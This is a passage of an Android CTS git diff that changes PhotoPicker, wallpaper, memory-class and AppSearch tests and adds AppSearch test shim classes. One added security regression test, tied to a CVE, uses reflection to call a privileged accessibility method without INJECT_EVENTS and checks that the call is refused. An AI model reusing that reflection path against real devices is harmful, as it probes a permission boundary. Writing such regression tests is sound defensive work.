import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject;
import androidx.test.uiautomator.UiScrollable;
@@ -34,7 +35,7 @@ import java.util.List;
public class PhotoPickerUiUtils {
public static final long SHORT_TIMEOUT = 5 * DateUtils.SECOND_IN_MILLIS;
- public static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS;
+ private static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS;
public static final String REGEX_PACKAGE_NAME =
"com(.google)?.android.providers.media(.module)?";
@@ -142,6 +143,16 @@ public class PhotoPickerUiUtils {
.isTrue();
}
+ /**
+ * Verify if the app label of the {@code sTargetPackageName} is visible on the UI.
+ */
+ public static void verifySettingsCloudProviderOptionIsVisible(@NonNull String cmpLabel) {
+ assertWithMessage("Timed out waiting for cloud provider option on settings activity")
+ .that(new UiObject(new UiSelector().textContains(cmpLabel))
+ .waitForExists(TIMEOUT))
+ .isTrue();
+ }
+
public static void verifySettingsFragmentContainerExists() {
assertWithMessage("Timed out waiting for settings fragment container to appear")
.that(new UiObject(new UiSelector()
@@ -170,27 +181,4 @@ public class PhotoPickerUiUtils {
uiObject.click();
uiDevice.waitForIdle();
}
-
- public static String getBannerPrimaryText() throws Exception {
- final UiObject bannerPrimaryText = findBannerPrimaryText();
- assertWithMessage("Timed out waiting for the banner to appear")
- .that(bannerPrimaryText.waitForExists(TIMEOUT))
- .isTrue();
- return bannerPrimaryText.getText();
- }
-
- public static UiObject findBannerPrimaryText() {
- return new UiObject(new UiSelector().resourceIdMatches(
- REGEX_PACKAGE_NAME + ":id/banner_primary_text"));
- }
-
- public static UiObject findBannerDismissButton() {
- return new UiObject(new UiSelector().resourceIdMatches(
- REGEX_PACKAGE_NAME + ":id/dismiss_button"));
- }
-
- public static UiObject findBannerActionButton() {
- return new UiObject(new UiSelector().resourceIdMatches(
- REGEX_PACKAGE_NAME + ":id/action_button"));
- }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
index 7caeb6ad833..4d1e35b4655 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
@@ -30,7 +30,7 @@ public class UiAssertionUtils {
/**
* Verifies PhotoPicker UI is shown.
*/
- public static void assertThatShowsPickerUi() {
+ public static void assertThatShowsPickerUi(String mimeTypeFilter) {
// Assert that Bottom Sheet is shown
// Add a short timeout wait for PhotoPicker to show
assertThat(new UiObject(new UiSelector().resourceIdMatches(
@@ -42,8 +42,15 @@ public class UiAssertionUtils {
PhotoPickerUiUtils.REGEX_PACKAGE_NAME + ":id/privacy_text"))
.exists()).isTrue();
+ boolean hasVideoMimeTypeFilter = (mimeTypeFilter != null)
+ && mimeTypeFilter.toLowerCase().contains("video/");
+
// Assert that "Photos" and "Albums" headers are shown.
- assertThat(new UiObject(new UiSelector().text("Photos")).exists()).isTrue();
+ if (hasVideoMimeTypeFilter) {
+ assertThat(new UiObject(new UiSelector().text("Videos")).exists()).isTrue();
+ } else {
+ assertThat(new UiObject(new UiSelector().text("Photos")).exists()).isTrue();
+ }
assertThat(new UiObject(new UiSelector().text("Albums")).exists()).isTrue();
}
}
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index 50c779179b9..0ec90a03c74 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -24,6 +24,10 @@
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
<option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
+ <!-- Enable hidden APIs to allow tests to use reflection, for security tests which
+ check reflection abuse. This must be set before installing the test app. -->
+ <option name="run-command" value="settings put global hidden_api_policy 1" />
+ <option name="teardown-command" value="settings delete global hidden_api_policy" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 6c210583e47..1c8f6847705 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -18,12 +18,17 @@ package android.view.accessibility.cts;
import static android.accessibility.cts.common.InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE;
+import static com.google.common.truth.Truth.assertThat;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+
+import android.Manifest;
import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
@@ -32,9 +37,12 @@ import android.app.Instrumentation;
import android.app.Service;
import android.app.UiAutomation;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.content.pm.ServiceInfo;
import android.os.Handler;
import android.platform.test.annotations.AsbSecurityTest;
+import android.view.InputEvent;
+import android.view.MotionEvent;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener;
@@ -58,6 +66,9 @@ import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -202,6 +213,32 @@ public class AccessibilityManagerTest extends StsExtraBusinessLogicTestCase {
assertFalse(mAccessibilityManager.removeAccessibilityServicesStateChangeListener(listener));
}
+ @AsbSecurityTest(cveBugId = {309426390})
+ @Test
+ public void testInjectInputEventToInputFilter_throwsWithoutInjectEventsPermission()
+ throws Exception {
+ // Ensure the test itself doesn't have INJECT_EVENTS permission before
+ // calling the method that requires it and expecting failure.
+ assertThat(sInstrumentation.getContext().checkSelfPermission(
+ Manifest.permission.INJECT_EVENTS)).isEqualTo(PackageManager.PERMISSION_DENIED);
+
+ // Use reflection to directly invoke IAccessibilityManager#injectInputEventToInputFilter.
+ final AccessibilityManager accessibilityManager = (AccessibilityManager)
+ sInstrumentation.getContext().getSystemService(Service.ACCESSIBILITY_SERVICE);
+ final Field serviceField = AccessibilityManager.class.getDeclaredField("mService");
+ serviceField.setAccessible(true);
+ final Method injectInputEventToInputFilter =
+ Class.forName("android.view.accessibility.IAccessibilityManager")
+ .getDeclaredMethod("injectInputEventToInputFilter", InputEvent.class);
+
+ final InvocationTargetException exception = assertThrows(InvocationTargetException.class,
+ () -> injectInputEventToInputFilter.invoke(
+ serviceField.get(accessibilityManager),
+ MotionEvent.obtain(0, 0, 0, 0, 0, 0)));
+ assertThat(exception).hasCauseThat().isInstanceOf(SecurityException.class);
+ assertThat(exception).hasCauseThat().hasMessageThat().contains("INJECT_EVENTS");
+ }
+
@Test
public void testGetInstalledAccessibilityServicesList() throws Exception {
List<AccessibilityServiceInfo> installedServices =
diff --git a/tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java b/tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java
index d41303a7c99..66515d8f6b1 100644
--- a/tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java
+++ b/tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java
@@ -46,6 +46,7 @@ import static org.mockito.Mockito.verify;
import android.app.Activity;
import android.app.WallpaperColors;
+import android.app.WallpaperInfo;
import android.app.WallpaperManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -117,6 +118,11 @@ public class WallpaperManagerTest {
private BroadcastReceiver mBroadcastReceiver;
private CountDownLatch mCountDownLatch;
private boolean mEnableWcg;
+
+ // WallpaperInfo object for the built-in default wallpaper of the device.
+ // Always null if the device uses ImageWallpaper by default.
+ private WallpaperInfo mDefaultWallpaperInfo;
+
private static final WindowManagerStateHelper sWindowManagerStateHelper =
new WindowManagerStateHelper();
@@ -157,6 +163,9 @@ public class WallpaperManagerTest {
new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
mEnableWcg = mWallpaperManager.shouldEnableWideColorGamut();
mWallpaperManager.clear(FLAG_SYSTEM | FLAG_LOCK);
+ if (mDefaultWallpaperInfo == null) {
+ mDefaultWallpaperInfo = mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM);
+ }
assertWithMessage("Home screen wallpaper must be set after setUp()").that(
mWallpaperManager.getWallpaperId(FLAG_SYSTEM)).isAtLeast(0);
@@ -597,8 +606,8 @@ public class WallpaperManagerTest {
@Test
public void setStaticWallpaper_doesNotSetWallpaperInfo() throws IOException {
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNull();
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_SYSTEM);
+ assertNullOrDefaultWallpaper(FLAG_LOCK);
mWallpaperManager.setResource(R.drawable.icon_red, FLAG_SYSTEM);
mWallpaperManager.setResource(R.drawable.icon_green, FLAG_LOCK);
@@ -609,8 +618,8 @@ public class WallpaperManagerTest {
@Test
public void setLiveWallpaper_homeScreen_setsHomeWallpaperInfo() {
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNull();
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_SYSTEM);
+ assertNullOrDefaultWallpaper(FLAG_LOCK);
runWithShellPermissionIdentity(() -> {
setWallpaperComponentAndWait(DEFAULT_COMPONENT_NAME, FLAG_SYSTEM);
@@ -618,8 +627,7 @@ public class WallpaperManagerTest {
assertWithMessage("Home screen").that(
mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNotNull();
- assertWithMessage("Lock screen").that(
- mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_LOCK);
}
@Test
@@ -641,15 +649,14 @@ public class WallpaperManagerTest {
@Test
public void setLiveWallpaper_lockScreen_multiEngine_setsLockWallpaperInfo() {
assumeTrue(mWallpaperManager.isLockscreenLiveWallpaperEnabled());
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNull();
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_SYSTEM);
+ assertNullOrDefaultWallpaper(FLAG_LOCK);
runWithShellPermissionIdentity(() -> {
setWallpaperComponentAndWait(DEFAULT_COMPONENT_NAME, FLAG_LOCK);
});
- assertWithMessage("Home screen").that(
- mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_SYSTEM);
assertWithMessage("Lock screen").that(
mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNotNull();
}
@@ -1612,7 +1619,7 @@ public class WallpaperManagerTest {
* @param which FLAG_LOCK, FLAG_SYSTEM or a combination of both.
*/
private void verifyColorListenerInvokedClearing(int which) {
- ensureCleanState();
+ ensureCleanState(which);
final CountDownLatch latch = new CountDownLatch(1);
@@ -1696,6 +1703,13 @@ public class WallpaperManagerTest {
}
}
+ private void assertNullOrDefaultWallpaper(int which) {
+ WallpaperInfo wallpaperInfo = mWallpaperManager.getWallpaperInfo(which);
+ if (mDefaultWallpaperInfo == null) assertThat(wallpaperInfo).isNull();
+ if (wallpaperInfo == null) return;
+ assertThat(wallpaperInfo.getComponent()).isEqualTo(mDefaultWallpaperInfo.getComponent());
+ }
+
private void setWallpaperComponentAndWait(ComponentName component, int which) {
mWallpaperManager.setWallpaperComponentWithFlags(component, which);
try {
diff --git a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
index 0412f819298..dd689c48ea0 100644
--- a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
@@ -22,9 +22,12 @@ import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
+import android.graphics.Insets;
import android.test.ActivityInstrumentationTestCase2;
import android.util.DisplayMetrics;
+import android.util.Log;
import android.view.Display;
+import android.view.WindowInsets;
import android.view.WindowManager;
import androidx.test.uiautomator.UiDevice;
@@ -247,7 +250,30 @@ public class ActivityManagerMemoryClassTest
private int getScreenSize() {
Context context = getInstrumentation().getTargetContext();
Configuration config = context.getResources().getConfiguration();
- return config.screenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
+ final int configScreenSize = config.screenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
+ final int minScreenSizeDp = Math.min(config.screenWidthDp, config.screenHeightDp);
+ // The insets size may affect screenSizeDp in different orientations. E.g., the short side
+ // is 720dp as the width in portrait orientation, but when the short side is the height in
+ // landscape orientation, the value will be smaller than 720dp because the insets of
+ // system bars may occupy a little space. Then the screen size from Configuration will be
+ // LARGE in landscape and XLARGE in portrait. So below calculation allows to return a
+ // smaller size definition if the size excluding insets is lower than the size threshold.
+ final Insets insets = getActivity().getWindowManager().getCurrentWindowMetrics()
+ .getWindowInsets().getInsetsIgnoringVisibility(WindowInsets.Type.systemBars());
+ final int insetsSize = Math.max(insets.top + insets.bottom, insets.left + insets.right);
+ final int toleranceSizeDp = (int) (insetsSize /
+ ((float) config.densityDpi / DisplayMetrics.DENSITY_DEFAULT) + 0.5f);
+ Log.i("ActivityManagerMemoryClassTest", "getScreenSize: config=" + config
+ + " insets=" + insets + " toleranceSizeDp=" + toleranceSizeDp);
+ if (configScreenSize == Configuration.SCREENLAYOUT_SIZE_XLARGE
+ && (minScreenSizeDp - toleranceSizeDp < 720)) {
+ return Configuration.SCREENLAYOUT_SIZE_LARGE;
+ }
+ if (configScreenSize == Configuration.SCREENLAYOUT_SIZE_LARGE
+ && (minScreenSizeDp - toleranceSizeDp < 480)) {
+ return Configuration.SCREENLAYOUT_SIZE_NORMAL;
+ }
+ return configScreenSize;
}
private void assertMemoryForScreenDensity(int memoryClass, int screenDensity, int screenSize) {
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index f5f4d26e03f..ed646f7112a 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -20,7 +20,7 @@ android_test {
name: "CtsAppSearchTestCases",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
@@ -47,7 +47,7 @@ android_test_helper_app {
name: "CtsAppSearchTestHelperA",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
@@ -74,7 +74,7 @@ android_test_helper_app {
name: "CtsAppSearchTestHelperB",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
diff --git a/hostsidetests/angle/app/gameDriverTest/Android.bp b/tests/appsearch/testutils/Android.bp
index 749f8cf8835..ad4cd909d05 100644
--- a/hostsidetests/angle/app/gameDriverTest/Android.bp
+++ b/tests/appsearch/testutils/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2021 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -16,21 +16,21 @@ package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test_helper_app {
- name: "CtsAngleGameDriverTestCases",
- defaults: ["cts_support_defaults"],
- srcs: [
- "src/**/*.java",
+java_library {
+ name: "CtsAppSearchTestUtils",
+ srcs: ["src/**/*.java"],
+ libs: [
+ "androidx.test.ext.junit",
+ "framework-annotations-lib",
+ "framework-appsearch.impl",
+ "guava",
+ "service-appsearch-for-tests",
+ "truth-prebuilt",
],
- // tag this module as a cts test artifact
- test_suites: [
- "cts",
- "general-tests",
- ],
- compile_multilib: "both",
- static_libs: [
- "ctstestrunner-axt",
- "androidx.test.rules",
- "AngleIntegrationTestCommon",
+ sdk_version: "system_server_current",
+ visibility: [
+ "//cts/hostsidetests/appsearch",
+ "//cts/tests:__subpackages__",
+ "//packages/modules/AppSearch/testing:__subpackages__",
],
}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/AppSearchSessionShimImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/AppSearchSessionShimImpl.java
new file mode 100644
index 00000000000..1acc7e0ea5a
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/AppSearchSessionShimImpl.java
@@ -0,0 +1,231 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.annotation.UserIdInt;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.AppSearchSession;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.Features;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByDocumentIdRequest;
+import android.app.appsearch.GetSchemaResponse;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.RemoveByDocumentIdRequest;
+import android.app.appsearch.ReportUsageRequest;
+import android.app.appsearch.SearchResults;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SearchSuggestionResult;
+import android.app.appsearch.SearchSuggestionSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.SetSchemaResponse;
+import android.app.appsearch.StorageInfo;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.List;
+import java.util.Objects;
+import java.util.Set;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+/**
+ * This test class adapts the AppSearch Framework API to ListenableFuture, so it can be tested via
+ * a consistent interface.
+ * @hide
+ */
+public class AppSearchSessionShimImpl implements AppSearchSessionShim {
+ private final AppSearchSession mAppSearchSession;
+ private final ExecutorService mExecutor;
+
+ /** Creates the SearchSessionShim with given SearchContext. */
+ @NonNull
+ public static ListenableFuture<AppSearchSessionShim> createSearchSessionAsync(
+ @NonNull AppSearchManager.SearchContext searchContext) {
+ Context context = ApplicationProvider.getApplicationContext();
+ return createSearchSessionAsync(context, searchContext, Executors.newCachedThreadPool());
+ }
+
+ /** Creates the SearchSessionShim with given SearchContext for the given user. */
+ @NonNull
+ public static ListenableFuture<AppSearchSessionShim> createSearchSessionAsync(
+ @NonNull AppSearchManager.SearchContext searchContext, @UserIdInt int userId) {
+ Context context = ApplicationProvider.getApplicationContext()
+ .createContextAsUser(UserHandle.of(userId), /*flags=*/ 0);
+ return createSearchSessionAsync(context, searchContext, Executors.newCachedThreadPool());
+ }
+
+ /** Creates the SearchSession with given Context and ExecutorService. */
+ @NonNull
+ public static ListenableFuture<AppSearchSessionShim> createSearchSessionAsync(
+ @NonNull Context context,
+ @NonNull AppSearchManager.SearchContext searchContext,
+ @NonNull ExecutorService executor) {
+ AppSearchManager appSearchManager = context.getSystemService(AppSearchManager.class);
+ SettableFuture<AppSearchResult<AppSearchSession>> future = SettableFuture.create();
+ appSearchManager.createSearchSession(searchContext, executor, future::set);
+ return Futures.transform(
+ future,
+ instance -> new AppSearchSessionShimImpl(instance.getResultValue(), executor),
+ executor);
+ }
+
+ private AppSearchSessionShimImpl(
+ @NonNull AppSearchSession session, @NonNull ExecutorService executor) {
+ mAppSearchSession = Objects.requireNonNull(session);
+ mExecutor = Objects.requireNonNull(executor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<SetSchemaResponse> setSchemaAsync(@NonNull SetSchemaRequest request) {
+ SettableFuture<AppSearchResult<SetSchemaResponse>> future = SettableFuture.create();
+ mAppSearchSession.setSchema(request, mExecutor, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<GetSchemaResponse> getSchemaAsync() {
+ SettableFuture<AppSearchResult<GetSchemaResponse>> future = SettableFuture.create();
+ mAppSearchSession.getSchema(mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<Set<String>> getNamespacesAsync() {
+ SettableFuture<AppSearchResult<Set<String>>> future = SettableFuture.create();
+ mAppSearchSession.getNamespaces(mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<AppSearchBatchResult<String, Void>> putAsync(
+ @NonNull PutDocumentsRequest request) {
+ SettableFuture<AppSearchBatchResult<String, Void>> future = SettableFuture.create();
+ mAppSearchSession.put(
+ request, mExecutor, new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull GetByDocumentIdRequest request) {
+ SettableFuture<AppSearchBatchResult<String, GenericDocument>> future =
+ SettableFuture.create();
+ mAppSearchSession.getByDocumentId(
+ request, mExecutor, new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @Override
+ @NonNull
+ public SearchResultsShim search(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec) {
+ SearchResults searchResults = mAppSearchSession.search(queryExpression, searchSpec);
+ return new SearchResultsShimImpl(searchResults, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<Void> reportUsageAsync(@NonNull ReportUsageRequest request) {
+ SettableFuture<AppSearchResult<Void>> future = SettableFuture.create();
+ mAppSearchSession.reportUsage(request, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<AppSearchBatchResult<String, Void>> removeAsync(
+ @NonNull RemoveByDocumentIdRequest request) {
+ SettableFuture<AppSearchBatchResult<String, Void>> future = SettableFuture.create();
+ mAppSearchSession.remove(request, mExecutor, new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<Void> removeAsync(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec) {
+ SettableFuture<AppSearchResult<Void>> future = SettableFuture.create();
+ mAppSearchSession.remove(queryExpression, searchSpec, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<StorageInfo> getStorageInfoAsync() {
+ SettableFuture<AppSearchResult<StorageInfo>> future = SettableFuture.create();
+ mAppSearchSession.getStorageInfo(mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<Void> requestFlushAsync() {
+ SettableFuture<AppSearchResult<Void>> future = SettableFuture.create();
+ // The data in platform will be flushed by scheduled task. AppSearchSession won't do
+ // anything extra flush.
+ future.set(AppSearchResult.newSuccessfulResult(null));
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<List<SearchSuggestionResult>> searchSuggestionAsync(
+ @NonNull String suggestionQueryExpression,
+ @NonNull SearchSuggestionSpec searchSuggestionSpec) {
+ SettableFuture<AppSearchResult<List<SearchSuggestionResult>>> future =
+ SettableFuture.create();
+ mAppSearchSession.searchSuggestion(
+ suggestionQueryExpression, searchSuggestionSpec, mExecutor, future::set);
+ return Futures.transform(future, AppSearchResult::getResultValue, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public Features getFeatures() {
+ return new MainlineFeaturesImpl();
+ }
+
+ @Override
+ public void close() {
+ mAppSearchSession.close();
+ }
+
+ private <T> ListenableFuture<T> transformResult(
+ @NonNull AppSearchResult<T> result) throws AppSearchException {
+ if (!result.isSuccess()) {
+ throw new AppSearchException(result.getResultCode(), result.getErrorMessage());
+ }
+ return Futures.immediateFuture(result.getResultValue());
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/BatchResultCallbackAdapter.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/BatchResultCallbackAdapter.java
new file mode 100644
index 00000000000..ec82e47c32a
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/BatchResultCallbackAdapter.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.BatchResultCallback;
+
+import com.google.common.util.concurrent.SettableFuture;
+
+final class BatchResultCallbackAdapter<K, V>
+ implements BatchResultCallback<K, V> {
+ private final SettableFuture<AppSearchBatchResult<K, V>> mFuture;
+
+ BatchResultCallbackAdapter(SettableFuture<AppSearchBatchResult<K, V>> future) {
+ mFuture = future;
+ }
+
+ @Override
+ public void onResult(AppSearchBatchResult<K, V> result) {
+ mFuture.set(result);
+ }
+
+ @Override
+ public void onSystemError(Throwable t) {
+ mFuture.setException(t);
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/FakeAppSearchConfig.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/FakeAppSearchConfig.java
new file mode 100644
index 00000000000..e5794347c57
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/FakeAppSearchConfig.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.os.Build;
+
+import com.android.server.appsearch.AppSearchRateLimitConfig;
+import com.android.server.appsearch.Denylist;
+import com.android.server.appsearch.FrameworkAppSearchConfig;
+import com.android.server.appsearch.external.localstorage.IcingOptionsConfig;
+
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * An instance of {@link FrameworkAppSearchConfig} which does not read from any flag system, but
+ * simply returns the defaults for each key.
+ *
+ * <p>This class is thread safe.
+ *
+ * @hide
+ */
+public final class FakeAppSearchConfig implements FrameworkAppSearchConfig {
+ private final AtomicBoolean mIsClosed = new AtomicBoolean();
+ private static final AppSearchRateLimitConfig DEFAULT_APPSEARCH_RATE_LIMIT_CONFIG =
+ AppSearchRateLimitConfig.create(
+ DEFAULT_RATE_LIMIT_TASK_QUEUE_TOTAL_CAPACITY,
+ DEFAULT_RATE_LIMIT_TASK_QUEUE_PER_PACKAGE_CAPACITY_PERCENTAGE,
+ DEFAULT_RATE_LIMIT_API_COSTS_STRING);
+
+ @Override
+ public void close() {
+ mIsClosed.set(true);
+ }
+
+ @Override
+ public long getCachedMinTimeIntervalBetweenSamplesMillis() {
+ throwIfClosed();
+ return DEFAULT_MIN_TIME_INTERVAL_BETWEEN_SAMPLES_MILLIS;
+ }
+
+ @Override
+ public int getCachedSamplingIntervalDefault() {
+ throwIfClosed();
+ return DEFAULT_SAMPLING_INTERVAL;
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForBatchCallStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForPutDocumentStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForInitializeStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForSearchStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
